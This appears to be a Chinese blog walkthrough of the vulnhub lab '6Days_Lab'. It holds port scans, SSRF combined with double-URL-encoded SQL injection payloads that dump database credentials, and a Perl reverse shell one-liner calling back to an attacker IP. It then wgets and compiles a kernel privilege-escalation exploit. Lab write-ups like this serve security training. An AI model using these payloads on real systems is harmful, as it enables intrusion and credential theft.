zoukankan      html  css  js  c++  java
  • 2020-1-5:vulnhub靶场,6Days_Lab-v1.0.1

    一、环境准备

    1,下载地址:https://www.vulnhub.com/entry/6days-lab-11,156/#flags

    2,目标,获取根目录下flag

    3,下载好靶场之后,使用VirtualBox虚拟机软件导入环境,启动即可,为了方便练习,我将攻击机和靶场都设置为桥接模式

    二、渗透练习

    1,获取靶机ip地址

    输入命令netdiscover,不添加任何参数,会默认扫描机器网卡上的ip值的所有网段,获取到靶场ip地址为192.168.1.103

    2,收集端口信息

    输入命令,nmap -v -Pn -p- 192.168.1.103

    -v:表示显示详细信息

    -Pn:表示不使用ping扫描

    -p-:表示扫描指定ip的所有端口

     如图所示,靶场开启了22,80,8080端口

    3,进行渗透

    访问192.168.1.103的80端口,是一个ips界面,还有一个折扣码

     输入折扣码,提示代码过期,没啥用处

    4,查看网站源码,发现image.php页面会进行引用图片

     

    5,进行访问,可能存在ssrf

    6,修改src=后边参数为index.php,并没有拦截,也没有报错

    使用dirb http://192.168.1.103,获取靶机网站目录结构文件

    7,打开BP进行抓包,发现响应包是主页界面

    获取passwd文件信息,得到靶机有账户user,andrea

    查看config.php信息,得到数据库账号,密码,数据库名信息

    其他发现的网站界面都会被ips拦截

    8,查看apache默认配置信息

    在apache默认文件中,发现网站实际就是在8080端口,只接受本地连接,然后转发到80端口

     

    9,通过配置信息,获得的消息,可以发现网站直接跟mysql数据库连接,存在sql注入,两次url编码即可绕过

    通过Python来生成sql语句

    输入 python3  进入python3环境

    from urllib.parse import quote ,引入quote模块里的url编码

    quote(quote("SQL语句")),两次url编码sql语句

    例如:quote(quote("aaaa'union select version(),2#")),获取当前数据库版本信息

     payload:image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520version%2528%2529%252C2%2523

     

    通过ssrf+sql注入,得到想要的信息

    获取当前数据库payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520database%2528%2529%252C2%2523

    获取当前数据库中的表payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528table_name%2529%252C2%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2523

    获取表中字段名payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528column_name%2529%252C2%2520from%2520information_schema.columns%2520where%2520table_schema%253Ddatabase%2528%2529%2520and%2520table_name%253D%2527users%2527%2523

    获取所需账号密码信息payload:/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=aaaa%2527union%2520select%2520group_concat%2528username%252C%2527~~~~%2527%252Cpassword%2529%252C2%2520from%2520fancydb.users%2523

    10,获取到andrea账户的密码信息,开启了ssh端口,尝试使用ssh进行连接

    输入命令 ssh andrea@192.168.1.103 

    之后输入密码,连接成功

    11,连接之后发现任何命令都没反应

     12,可能是回显信息丢失,尝试反弹shell

    攻击机重新打开一个终端,输入nc -lvvp 1234,监听本地端口

    ssh连接的靶机上输入命令:perl -e 'use Socket;$i="192.168.1.102";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    命令的i参数:后边的ip地址为自己攻击机主机的ip地址

     命令的p参数:后边为nc本地监听的端口

    执行之后发现反弹命shell成功,命令也都有回显

    如果觉得反弹的shell前边没东西不太习惯,可以在反弹的shell下输入以下命令,返回原始bash shell

    python -c ’import pty; pty.spawn("/bin/bash")‘

    13,进行提权

    输入 uname -a,获取系统内核版本为3.13.0

    搜索可用exp

    输入命令 searchsploit 3.13.0,发现kali系统内置的exp脚本

    14,将可用脚本下载到靶机平台

    首先开启攻击机的apache服务

     service apache2 start

    将脚本文件复制到apache根目录下

    输入命令:cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html/

     

    在反弹的shell中下载脚本

    输入命令,wget http://192.168.1.102/37292.c

    15,使用exp脚本文件进行提权

    因为脚本文件为c语言编写的,使用需要进行编译,可以使用gcc进行编译

    输入命令:gcc 37292.c -o exp

    -o 参数为输入的文件名称

    编译之后的文件直接具备了可执行权限

    输入命令: ./exp,发现提权成功

    16,得到flag

    提权成功之后,切换到系统根目录,发现flag文件,发现为可执行脚本,./flag执行,得到flag

     完

  • 相关阅读:
    request-log-analyzer日志分析
    ubuntu下git输出的颜色变化
    vundle安装 给vim插上翅膀
    安装ruby
    【HDU1944】S-Nim-博弈论:SG函数
    【HDU1944】S-Nim-博弈论:SG函数
    我对SG函数的理解
    我对SG函数的理解
    【POJ2154】Color-Polya定理+欧拉函数
    【POJ2154】Color-Polya定理+欧拉函数
  • 原文地址:https://www.cnblogs.com/sym945/p/12154220.html
Copyright © 2011-2022 走看看